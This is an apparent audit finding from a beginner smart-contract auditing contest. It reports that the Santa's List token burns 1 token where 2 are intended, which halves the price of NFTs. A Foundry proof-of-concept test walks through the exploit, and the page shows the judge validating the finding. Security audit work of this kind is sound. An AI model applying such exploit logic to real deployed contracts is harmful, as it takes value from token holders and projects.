First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Inadequate Token Burn in SantaToken Contract

kamuik16

Summary

The SantaToken contract, part of the blockchain system implemented for Santa's List, contains a critical vulnerability in its burn function. The function burns only 1e18 tokens (1 SantaToken) instead of the required 2e18 tokens for purchasing an NFT. This discrepancy allows users to exploit the system, purchasing NFTs at half the intended cost.

Vulnerability Details

The amount of tokens burned per transaction is hard-coded to 1e18 (1 SantaToken), irrespective of the intended cost of 2e18 tokens for an NFT purchase, as outlined in the project's README. This mismatch creates an exploitable loophole in the contract logic.

Below is a POC of how a user could exploit it:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
import {SantasList} from "../../src/SantasList.sol";
import {SantaToken} from "../../src/SantaToken.sol";
import {Test} from "forge-std/Test.sol";
import {_CheatCodes} from "../mocks/CheatCodes.t.sol";
​
contract SantasListTest is Test {
SantasList santasList;
SantaToken santaToken;
​
address user = makeAddr("user");
address santa = makeAddr("santa");
_CheatCodes cheatCodes = _CheatCodes(HEVM_ADDRESS);
​
function setUp() public {
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
vm.stopPrank();
}
​
function testOneCanBuyNftInOneToken() public {
vm.startPrank(user);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.startPrank(santa);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
assertEq(santaToken.balanceOf(user), 1e18);
santasList.buyPresent(user);
vm.stopPrank();
}
}

Impact

Users can exploit this loophole to acquire NFTs at a 50% discount, potentially devaluing the NFTs and undermining the tokenomics of SantaTokens. Moreover, it could lead to a loss of trust in the system's fairness and security.

Tools Used

  • Manual

  • Foundry

Recommendations

  • Adjust the burn Function: Modify the burn function in the SantaToken contract to dynamically burn the correct amount of tokens (2e18) as intended for NFT purchases.

Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Price is not enforced in buyPresent

This line indicates that the intended cost of presents for naughty people should be 2e18: https://github.com/Cyfrin/2023-11-Santas-List/blob/6627a6387adab89ae2ba2e82b38296723261c08a/src/SantasList.sol#L87 PURCHASE_PRESENT_COST should be implemented to enforce the cost of presents.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.